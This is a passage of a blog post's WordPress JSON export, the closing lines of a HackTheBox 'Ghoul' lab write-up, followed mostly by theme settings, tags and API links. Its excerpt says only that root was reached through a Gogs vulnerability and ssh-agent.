1a:d2:b2:ea:6c:d3  txqueuelen 0  (Ethernet)\n        RX packets 24862  bytes 3722251 (3.7 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 25130  bytes 3237106 (3.2 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n<\/pre>\n\n\n\n<p>Thats very well designed network! Kudos to the creators of the machine. This lab provided loads of information!!<\/p>\n\n\n\n<p>Thats all for the blog post! Hope you learned something out of it. See you in the next one!<\/p>\n\n\n\n<p>Until then, happy hunting!!<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ghoul is a hard linux machine from hackthebox The privilege escalation exploits the gogs vulnerability and ssh-agent&#8217;s sign-on mechanism to get the root.<\/p>\n","protected":false},"author":1,"featured_media":600,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2,141],"tags":[67,263,270,26,54,71,272,58,274,271,273],"class_list":["post-573","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","category-linux","tag-docker","tag-ghoul","tag-gogs","tag-hackthebox","tag-htb","tag-linux","tag-privilege-escalation-2","tag-redteam","tag-ssh-port-forward","tag-ssh-agent","tag-tunneling","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/573"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=573"}],"version-history":[{"count":3,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/573\/revisions"}],"predecessor-version":[{"id":602,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/573\/revisions\/602"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/600"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=573"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=573"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}